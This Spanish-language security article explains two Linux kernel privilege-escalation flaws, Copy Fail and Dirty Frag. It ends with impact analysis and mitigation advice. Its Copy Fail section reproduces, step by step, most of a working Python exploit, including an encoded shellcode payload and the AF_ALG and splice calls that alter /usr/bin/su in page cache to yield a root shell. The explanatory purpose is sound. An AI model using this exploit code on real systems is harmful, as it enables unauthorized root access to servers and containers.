Tiempo de lectura: 9 minutos
Imagen: Juan Almodóvar

Linux atraviesa uno de sus momentos más delicados en materia de seguridad de los últimos años. En apenas unas semanas, la comunidad ha tenido que responder a dos vulnerabilidades críticas del kernel Linux, conocidas como Copy Fail y Dirty Frag, que comparten un patrón especialmente preocupante: permiten que un usuario sin privilegios obtenga acceso root de forma relativamente sencilla.

Ambas vulnerabilidades afectan a la mayoría de distribuciones Linux modernas y han vuelto a poner sobre la mesa un debate recurrente en el ecosistema: la creciente complejidad del kernel y el impacto que pequeños errores lógicos pueden tener sobre infraestructuras completas, incluyendo servidores, entornos cloud y plataformas Kubernetes.

Aunque tanto Copy Fail como Dirty Frag requieren acceso local al sistema, su impacto real es mucho mayor de lo que podría parecer inicialmente. En entornos compartidos, contenedores o plataformas CI/CD, este tipo de fallos puede convertirse rápidamente en una puerta de entrada hacia compromisos completos de infraestructura.

Copy Fail: 732 bytes hasta root

La primera de las vulnerabilidades, identificada como CVE-2026-31431 y bautizada como Copy Fail, fue divulgada públicamente a finales de abril de 2026.

El fallo afecta al subsistema criptográfico «algif_aead» del kernel Linux y permite a un usuario local escribir datos controlados sobre la page cache del sistema. Aunque técnicamente la escritura está limitada a únicamente cuatro bytes, el impacto es suficiente para modificar binarios privilegiados y escalar privilegios hasta root.

Lo más llamativo del caso es la simplicidad del exploit. Investigadores demostraron que era posible conseguir acceso root mediante un script Python de apenas 732 bytes, sin necesidad de race conditions ni técnicas complejas de sincronización. Además, la vulnerabilidad afecta prácticamente a todas las distribuciones Linux modernas lanzadas desde 2017: Ubuntu, RHEL, Fedora, Amazon Linux, SUSE y Arch Linu (entre otras).

Explotando la vulnerabilidad

Desde 2017, «algif_aead» permite operaciones «in-place» (mismo búfer origen/destino) usando «splice()«. El algoritmo authencesn(hmac(sha256),cbc(aes)) tiene un bug: al calcular el ICV escribe 4 bytes más allá del búfer de salida. Si ese búfer es la page cache de un binario setuid, puedes modificarlo.

Imagen: Juan Almodóvar

El primer paso para realizar la explotación, es abrir el binario «/usr/bin/su» en modo solo lectura. El kernel, al servir esta petición, carga el contenido completo del binario en la page cache (memoria RAM destinada a cache de archivos). El descriptor f apunta a esa copia en RAM, no al disco. Esta es la superficie de ataque: la page cache es modificable desde el subsistema criptográfico si se dan las condiciones adecuadas. Esto se logra con la siguiente instrucción de código:

f = g.open("/usr/bin/su", 0)

El siguiente paso sería definir es un payload comprimido con zlib. Al descomprimirse, se obtienen 12 bytes organizados como 3 fragmentos de 4 bytes cada uno. Estos fragmentos constituyen instrucciones máquina (opcodes x86_64) que, al inyectarse en posiciones estratégicas del binario su, alteran su comportamiento para que no solicite contraseña y conceda acceso root directamente:

e = zlib.decompress(
    d(
        "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
    )
)

Posteriormente, se itera sobre los 12 bytes del payload en pasos de 4 bytes. En cada iteración se llama a la función c() con:

  • f: el descriptor de /usr/bin/su en page cache
  • i: 0, 4 u 8 (offset acumulativo)
  • e[i:i+4]: uno de los tres fragmentos de 4 bytes que se inyectarán

Cada llamada corrompe una posición distinta del binario en RAM. Esto se logra con el siguiente bucle:

i = 0
while i < len(e):
    c(f, i, e[i : i + 4])
    i += 4

Posteriormente, se debe crear un socket de la familia AF_ALG (valor 38), que es la interfaz del kernel para operaciones criptográficas. El tipo 5 corresponde a SOCK_SEQPACKET, necesario para operaciones AEAD. Este socket se ha de vincular al algoritmo AEAD que contiene el fallo. authencesn es una variante de autenticación donde el nonce se incluye en el cálculo del HMAC. Este algoritmo específico tiene un bug: al calcular el valor de integridad (ICV), escribe 4 bytes más allá del límite del búfer de salida proporcionado por el usuario:

a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279
v(h, 1, d("0800010000000010" + "0" * 64))
v(h, 5, None, 4)
u, _ = a.accept()

279 es la constante SOL_ALG. La opción 1 corresponde a ALG_SET_KEY. Se establece una clave AES de 32 bytes compuesta enteramente por ceros (64 caracteres 0 en hexadecimal). El prefijo 0800010000000010 configura los parámetros del AEAD: la longitud del nonce y otros metadatos del algoritmo. La opción 5 corresponde a ALG_SET_AEAD_AUTHSIZE. Se fija el tamaño de autenticación en 4 bytes. Este valor es crítico: dimensiona el ICV a exactamente 4 bytes. Como el algoritmo authencesn tiene un error de cálculo en la posición final del ICV, esos 4 bytes se escriben justo después de donde termina el búfer de salida, provocando la corrupción contigua en memoria. Mediante la función accept(), se acepta la conexión en el socket AF_ALG. El nuevo descriptor u representa el socket de operación ya vinculado al algoritmo, sobre el cual se realizará la operación criptográfica.

Después de realizar esto, se envía un mensaje al socket criptográfico compuesto por:

  1. Datos principalesb"A" * 4 + c. Son 8 bytes totales: 4 bytes de relleno (0x41 = ‘A’) seguidos de los 4 bytes del payload malicioso. Estos datos se someten a la operación de desencriptación.
  2. Datos auxiliares:
    • (h, 3, i * 4) — opción ALG_SET_IV (3): establece un vector de inicialización de 4 bytes nulos (0x00 × 4).
    • (h, 2, b"\x10" + i * 19) — opción ALG_SET_OP (2): el valor 0x10 (16 decimal) indica operación de desencriptación. Los 19 bytes nulos adicionales son relleno requerido por la estructura del mensaje.
    • (h, 4, b"\x08" + i * 3) — opción ALG_SET_AEAD_ASSOCLEN (4): establece 8 bytes de datos adicionales autenticados (AAD). Los 3 bytes nulos son relleno.

Esto se logra mediante el siguiente bloque de código:

o = t + 4
i = d("00")
u.sendmsg(
    [b"A" * 4 + c],
    [
        (h, 3, i * 4),
        (h, 2, b"\x10" + i * 19),
        (h, 4, b"\x08" + i * 3),
    ],
    32768,
)

Una vez realizados los preparativos, se está a disposición de realizar el ataque real mediante el uso de la función splice():

r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try:
    u.recv(8 + t)
except:
    0
  1. Creación de tuberíag.pipe() crea un pipe con extremos de lectura (r) y escritura (w).
  2. Primer splice: mueve o bytes desde el descriptor f (la page cache de /usr/bin/su) hacia el extremo de escritura w de la tubería, comenzando desde el offset 0 del archivo. Crucialsplice() opera a nivel de páginas del kernel sin copiar datos al espacio de usuario. Las páginas de memoria del binario su quedan vinculadas a la tubería.
  3. Segundo splice: mueve esos mismos o bytes desde el extremo de lectura r de la tubería hacia el socket AF_ALG (u). Las páginas de la page cache que contienen el binario su se convierten ahora en el búfer de salida de la operación de desencriptación.

La función de desencriptación en el kernel procesa los 8 bytes de entrada (AAAA + payload) y escribe el resultado sobre las páginas de /usr/bin/su. Al finalizar, calcula el ICV de 4 bytes y, debido al bug en authencesnescribe esos 4 bytes justo después del búfer de salida, es decir, 4 bytes más allá de donde terminaba la operación, corrompiendo los bytes contiguos del binario

Finalmente, se ejecuta el binario modificado mediante la siguiente instrucción:

g.system("su")

Esto ejecuta «/usr/bin/su». El kernel no lee el binario desde disco, sino desde la page cache, que contiene el código alterado con los 12 bytes inyectados (3 fragmentos de 4 bytes). Como «su» tiene el bit setuid activado (propietario root), se ejecuta con privilegios de administrador pero con el flujo de ejecución modificado por el payload inyectado. El resultado práctico es que su omite la autenticación y lanza directamente una shell de root.

Nota importante: el archivo en disco permanece íntegro. La modificación existe exclusivamente en la copia de la page cache en RAM, lo que hace que esta técnica sea invisible para herramientas de verificación de integridad de archivos como AIDE o Tripwire.

El verdadero riesgo: contenedores y Kubernetes

Aunque técnicamente se trata de una vulnerabilidad de escalada local, su impacto en entornos cloud-native es especialmente relevante.

En plataformas Kubernetes, un atacante que consiga ejecutar código dentro de un contenedor podría utilizar Copy Fail para escapar parcialmente del aislamiento del contenedor y obtener privilegios elevados sobre el nodo. Esto convierte a la vulnerabilidad en una amenaza directa para clusters multi-tenant, runners CI/CD, plataformas de IA compartidas o entornos Kubernetes expuestos a workloads no confiables

Dirty Frag: el nuevo “Dirty Pipe”

Apenas una semana después de la publicación de Copy Fail, investigadores revelaron una nueva cadena de vulnerabilidades bautizada como Dirty Frag.

En este caso, el ataque combina dos fallos distintos dentro de subsistemas de red del kernel:

Dirty Frag es una vulnerabilidad del kernel Linux (CVE-2026-43284 y CVE-2026-43500) que permite a un usuario sin privilegios escribir datos arbitrarios en la page cache del sistema. A diferencia de Copy Fail, que solo permite inyectar 4 bytes por operación, Dirty Frag permite escribir hasta 192 bytes de una sola vez, lo que la hace mucho más potente.

El problema está en cómo el kernel gestiona los paquetes de red fragmentados en dos subsistemas:

  • xfrm/ESP (IPsec): utilizado para tráfico cifrado de red
  • RxRPC: protocolo de comunicación entre procesos del kernel

Cuando un paquete fragmentado llega al kernel, este reserva memoria para reconstruirlo. El fallo consiste en que el kernel no valida correctamente los límites al reensamblar los fragmentos: el último fragmento puede escribir datos más allá del búfer reservado, sobrescribiendo memoria contigua. Si esa memoria contigua resulta ser la page cache de un binario privilegiado (como /usr/bin/su), el atacante puede alterar su código.

Dirty Frag, al igual que Copy Fail, afecta a todas las distribuciones de Linux desde 2017. La comparación con Dirty Pipe no es casual. Dirty Frag explota errores relacionados con la gestión de memoria y page cache, permitiendo modificar contenido protegido sin permisos adecuados.

Lo preocupante es que uno de los fallos permanecía sin parche oficial en el momento de su divulgación pública, después de que el embargo de seguridad se rompiese antes de tiempo

Explotación conceptual de la vulnerabilidad

  1. Cargar el objetivo en RAM: se abre un binario setuid (como su) para que el kernel lo cargue en la page cache.
  2. Forzar fragmentación: se envía un paquete de red manipulado (ESP o RxRPC según la variante) con fragmentos diseñados para que, al reensamblarse, los datos del último fragmento «derramen» sobre la page cache del binario.
  3. Inyectar el payload: en esos bytes derramados se incluye código máquina malicioso. Típicamente es un stub que ejecuta setuid(0)setgid(0) y lanza una shell (execve("/bin/sh")).
  4. Ejecutar el binario: al ejecutar su, el kernel lee desde la page cache (ya corrupta), ejecuta el código inyectado con privilegios de root, y se obtiene la shell.
Imagen: Juan Almodóvar

Un patrón preocupante: la page cache como superficie de ataque

Tanto Copy Fail como Dirty Frag comparten un elemento clave: el abuso de la page cache del kernel.

Durante años, esta parte del sistema se consideró relativamente segura desde el punto de vista de explotación. Sin embargo, la sucesión de vulnerabilidades recientes demuestra que pequeñas inconsistencias en la gestión de memoria pueden derivar en privilegios completos sobre el sistema.

El problema no es únicamente técnico. También refleja una realidad más amplia:

  • kernels cada vez más complejos
  • mayor superficie de ataque
  • integración constante de nuevos subsistemas
  • dificultad creciente para auditar interacciones internas

¿Qué impacto real tienen estas vulnerabilidades?

Desde una perspectiva de ciberseguridad, el riesgo que plantean tanto Copy Fail como Dirty Frag es elevado, y se sustenta en cuatro factores que, combinados, las convierten en amenazas particularmente serias.

En primer lugar, su explotación es altamente fiable. A diferencia de otras vulnerabilidades de escalada de privilegios que requieren condiciones de carrera o sincronización compleja (como Dirty COW), estas se aprovechan de fallos deterministas en el kernel. El atacante no necesita «tener suerte» ni repetir cientos de intentos; el exploit funciona de manera consistente porque el desbordamiento ocurre siempre que se den las condiciones configuradas.

En segundo lugar, existen pruebas de concepto (PoCs) públicas y funcionales para ambas vulnerabilidades. Copy Fail cuenta con un script de apenas 732 bytes en Python, mientras que Dirty Frag dispone de exploits que aprovechan tanto la vía xfrm/ESP como la de RxRPC. La disponibilidad de código explotable reduce drásticamente la barrera de entrada: no hace falta ser un investigador de seguridad para utilizar estas técnicas, basta con descargar y ejecutar el PoC.

En tercer lugar, la superficie afectada es enorme. El fallo se introdujo en 2017 con una optimización del módulo algif_aead y afecta a prácticamente todas las distribuciones Linux modernas lanzadas desde entonces: Ubuntu, Red Hat Enterprise Linux, Fedora, Amazon Linux, SUSE y Arch Linux, entre otras. Esto significa que la mayoría de servidores Linux en producción son potencialmente vulnerables, independientemente de la distribución que utilicen.

Finalmente, se ha confirmado la explotación activa en entornos reales. La agencia estadounidense CISA (Cybersecurity and Infrastructure Security Agency) añadió Copy Fail a su catálogo KEV (Known Exploited Vulnerabilities), un registro que solo incluye vulnerabilidades para las que existe evidencia contrastada de explotación por parte de actores maliciosos. Este hecho descarta cualquier duda sobre si la vulnerabilidad es meramente teórica: hay atacantes utilizándola activamente para comprometer sistemas Linux en producción.

En conjunto, estos cuatro factores dibujan un escenario preocupante: una vulnerabilidad fiable, fácil de explotar, presente en la inmensa mayoría de servidores Linux y que ya está siendo utilizada por atacantes reales. No se trata de una amenaza potencial, sino de un riesgo materializado que exige medidas de mitigación urgentes.

Mitigación y recomendaciones

Las recomendaciones actuales pasan por:

  • actualizar inmediatamente el kernel
  • restringir acceso local
  • limitar workloads no confiables
  • reforzar aislamiento de contenedores
  • habilitar SELinux/AppArmor
  • monitorizar actividad anómala sobre procesos privilegiados

En el caso concreto de Dirty Frag, algunos investigadores recomiendan deshabilitar temporalmente módulos específicos (esp4, esp6, rxrpc) mientras llegan parches definitivos.

Conclusión

Copy Fail y Dirty Frag representan algo más importante que dos vulnerabilidades críticas aisladas. Son un recordatorio de cómo pequeños fallos lógicos dentro del kernel pueden convertirse rápidamente en compromisos completos de sistema.

También evidencian un cambio en el panorama de amenazas Linux. Durante años, muchas organizaciones asumieron que Linux era inherentemente más seguro frente a escaladas de privilegios masivas. Sin embargo, la realidad actual muestra un ecosistema mucho más expuesto, especialmente en entornos cloud-native donde un único nodo comprometido puede afectar a toda una plataforma.

En un contexto donde Kubernetes, contenedores y CI/CD dependen directamente del kernel Linux, este tipo de vulnerabilidades dejan de ser un problema local para convertirse en un riesgo estructural de infraestructura.

Síguenos en araintel.com